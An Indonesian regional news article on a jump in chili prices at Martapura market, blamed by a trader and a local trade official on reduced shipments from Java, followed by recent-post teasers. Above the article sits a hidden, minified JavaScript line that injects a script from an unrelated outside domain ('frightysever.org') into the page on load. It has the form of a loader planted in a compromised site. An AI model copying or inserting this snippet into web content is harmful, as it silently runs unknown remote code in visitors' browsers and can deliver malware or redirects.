(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Stok Pasokan Berkurang, Harga Cabe di Pasar Martapura Melonjak


MARTAPURA, Dalam sepekan terakhir harga cabe di pasar tradisional Martapura mengalami pelonjakan drastis, mulai dari Rp 5.000 hingga Rp 10.000 per kilogram. Lonjakan harga tersebut diakibatkan karena pasokan yang semakin berkurang.

Menurut pengakuan salah seorang pedagang di pasar Martapura, Wardah menyebut kenaikan harga cabe terjadi dalam sepekan terakhir, padahal menurutnya pada pekan lalu harga semua jenis cabe masih normal. Wardah tidak mengetahui pasti penyebab harga kebutuhan pokok yang satu ini mengalami kenaikan.

“Saya tidak tau pasti kenapa harga cabe ini menjadi naik padahal minggu lalu masih seperti biasa, mungkin karena barangnya kosong,” akunya.

Kepala Bidang Perdagangan Dinas Perindustrian dan Perdagangan (Disperindag) Kabupaten Banjar, Jimmy saat dikonfirmasi mengakui, berdasarkan hasil survei para petugas Disperindag pada Kamis (11/7), harga kebutuhan pokok tidak dipungkiri memang mengalami kenaikan diantaranya cabe merah dan cabe rawit.

“Selasa lalu petugas kami melakukan pengontrolan harga cabe belum naik, namun pada saat ini ketika disurvei kembali ternyata harga cabe naik,” ungkap Jimmy.

Adapun kenaikan untuk jenis cabe merah, Jimmy mengakui mengalami pelonjakan harga berkisar Rp 5.000, harga normal cabe dipasaran berkisar antara Rp 55 ribu menjadi Rp 60.000 perkilogram, sedangkan untuk cabe rawit mengalami kenaikan berkisar antara Rp 10.000 yang tadinya Rp 30.000 menjadi Rp 40.000 perkilogram.

Sementara berdasarkan informasi yang ia dapatkan, kenaikan harga cabe di Kabupaten Banjar disebabkan karena ketersedian pasokan cabe yang di kirim dari pulau Jawa berkurang.

Biasanya dalam sepekan untuk Kabupaten Banjar mendapat pasokan sebanyak dua kontainer, namun saat ini hanya satu kontainer yang masuk. Sehingga terjadi lonjakan harga cabe dipasaran.

“Cabe untuk di wilayah kita ini biasanya cabe didatangkan dari pulau Jawa, berkurangnya pasokan cabe ini dikarenakan hasil produksinya menurun dan jumlah produktifitas berkurang. Dan diperkirakan dalam dua minggu kedepan kenaikan ini akan  dialami,” jelasnya.

Untuk mengatasi terjadi lonjakan harga cabe tersebut lebih jauh Jimmy mengatakan, dalam hal ini Disperindag Kabupaten Banjar terus melakukan koordinasi dengan  Dinas Tanaman Pangan dan Hortikultura Kabupaten Banjar untuk melakukan pemantauan dan pengawasan arus distribusi cabe, mulai dari produsen, pengiriman hingga ke tangan pedagang. Sehingga arus distribusi ini benar-benar lancar.

“Cabe ini kan merupakan barang yang tidak tahan lama, mudah membusuk, dan tidak bisa distok terlalu lama. Oleh karena itu  sesuai tufoksinya Disperindag  Kabupaten Banjar bersama Dinas Tanaman pangan dan Hortikultura Kabupaten Banjar hanya dapat melakukan pengawasan yang ketat terhadap arus kelancaran distribusi cabe ini,” pungkasnya.  (rendy) 

Reporter : Rendy
Editor : Bie

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.